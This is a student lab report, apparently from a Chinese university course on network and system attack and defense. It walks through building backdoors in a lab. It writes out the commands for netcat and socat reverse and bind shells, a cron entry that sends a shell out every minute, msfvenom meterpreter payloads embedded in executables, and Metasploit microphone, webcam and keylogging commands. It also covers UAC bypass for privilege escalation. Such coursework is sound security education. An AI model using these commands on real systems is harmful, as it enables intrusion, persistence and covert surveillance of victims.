1. 程式人生 > 其它 >20192406樑健 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

20192406樑健 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

20192406樑健 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

1.實驗內容

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)

PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

2.實驗過程

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)

1) Win獲取Linux的Shell
  • Win開啟監聽,指令為ncat.exe -l -p 8888

  • kali反彈連線Win,指令為nc 192.168.10.181 8888 -e /bin/sh

  • Win獲得Linux的Shell。可以執行指令Linux指令ls

2) cron啟動某項任務
  • Win開啟監聽,指令為ncat.exe -l -p 8888

  • kali這裡輸入指令crontab -e,選擇nano,在最後一行新增* * * * * /bin/netcat 192.168.10.181 8888 -e /bin/sh

    (每分鐘獲取Shell),到時間Win就獲得了Shell

(2)使用socat獲取Win操作Shell, 任務計劃啟動

1) 在Win中建立任務計劃程式
  • 右擊此電腦,點選管理,點選任務計劃程式,再點選建立任務,填寫任務名,新建一個觸發器,選擇按預定計劃
  • 點選操作,選擇socat.exe的路徑,在新增引數一欄填寫tcp-listen:8888 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe繫結到埠8888,同時把cmd.exe的stderr重定向到stdout上:
  • 完成可看到計劃準備就緒,到預定時間可先發現任務已執行,會彈出socat.exe視窗
2) 在kali上執行指令獲取Win的Shell
  • 此時不要關閉視窗,並在kali上輸入命令socat - tcp:192.168.10.181:8888,成功獲取Win的Shell

(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

1) 使用MSF meterpreter生成可執行檔案
  • 生成backdoor.exe,在kali中輸入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.192.128 LPORT=443 -f exe > backdoor.exe
2) 使用ncat傳送可執行檔案
  • 在Win下執行ncat.exe -l 5201 > backdoor.exe,Win進入了接收模式,在kali中執行nc 192.168.192.1 5201 < backdoor.exe(192.168.192.1為Win的IP)
3) 通過msfconsole獲取Win的Shell
  • 在kali上使用msfconsole指令進入msf控制檯

  • 使用監聽模組,輸入use exploit/multi/handler

  • 設定payload:set payload windows/meterpreter/reverse_tcp

  • 設定反彈連線IP(kali):set LHOST 192.168.192.128

  • 設定埠:set LPORT 5201

  • 完成上面的操作後,輸入指令exploit,執行Win的backdoor.exe。之後kali就獲得了Win的Shell

(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 獲取Win音訊,輸入指令record_mic
  • 使用攝像頭進行拍照,輸入指令webcam_snap
  • 記錄擊鍵過程指令keyscan_start,讀取擊鍵記錄指令keyscan_dump
  • 嘗試提權,檢視當前使用者指令getuid,提權操作指令getsystem

可以看到提權失敗,因為被攻擊的主機為Win10,只靠提權指令無法實現許可權的提高。

  • 但是,當後門程式被改成install.exe後,提權操作指令就可以執行了。原因可能是具有迷惑性的名字被系統認為需要管理員許可權才能執行。但是由於我的電腦設定了使用者賬戶控制--從不通知,該程式會預設按管理員許可權執行,即預設繞過UAC。當我調整設定後,再次執行該程式提示我是否確認,這就是沒有繞過UAC。

改名及提權成功

使用者許可權控制

首先使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=1000 -f exe -o met.exe生成了無特殊命名的後門程式met.exe

然後將後門程式傳到Win10上,開啟控制檯msfconsole,設定payload等進行初步獲取shell,此時使用getsystem會失敗。接著使用background切換到另一個介面,此時會話session為1

使用use exploit/windows/local/bypassuac_eventvw進入繞過uac方法路徑進行進一步提權,此時使用options檢視需要配置的內容,提示需要配置session,這時需要提供一個普通連線的會話,就是上面的初步連線會話1,輸入set session 1,之後執行exploit,會生成一個新的會話,即session 2。此時再次提權發現提權成功了。

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

通過網路知識可知payload是shellcode的一部分,因此基本方法是通過使用類似msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe這樣的命令將shellcode注入pwn1中,得到新的可執行程式,讓被攻擊方執行來獲取shell。

想要實現上面的想法,需要確定payload應該是什麼?通過msfvenom -l payload命令可以檢視msfvenom支援的所有payload,根據pwn1是linux下的32位檔案且要獲取反彈連線shell,可以找到適合的payload為linux/x86/meterpreter/reverse_tcp

通過命令msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options檢視payload需要配置的options,可以看到需要配置LHOSTLPORT使用預設的4444

再者由於該檔案為Linux檔案,所以-f後使用的引數應為elf

由上述內容,得到最終指令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4444 -x ./pwn20192406 -f elf > pwn20192406shellcode

kali的執行過程和效果如下:

3.問題及解決方案

回答問題

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

使用釣魚攻擊,比如發給使用者一個誘導郵件,讓使用者下載,然後植入後門程式。

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

win:可以將後門偽裝成熟悉的軟體,引誘使用者點選。

linux:可以將後門放入開機自啟動程式中。

(3)Meterpreter有哪些給你映像深刻的功能?

印象深刻的功能就是可以使用各種高階的payload,通過這些payload可以簡單的實現各種功能,比如實現實驗一正常方法要做很久且很複雜,但使用這個方法就非常簡單和快速。

(4)如何發現自己有系統有沒有被安裝後門?

通過高階防毒軟體查殺,檢查CPU資源利用無有異常,檢查系統中有無特殊的檔案等等。

4.學習感悟、思考等

通過本次實驗我學到了很多製作後門的知識,並在實踐層面將所學內容付諸實現,在實驗中我通過簡單的指令就可以輕鬆獲取被攻擊主機的shell連線,學習了這些知識後,我更加對現在的網路環境擔憂,黑客可以通過一些便捷工具輕鬆攻擊別人的主機,對其進行怕破壞,一旦這些犯罪分子肆意妄為,很容易對我國的各種基礎設施構成潛在威脅,所以要嚴格管控網路空間,利用更高階的技術手段保護網路空間的安全。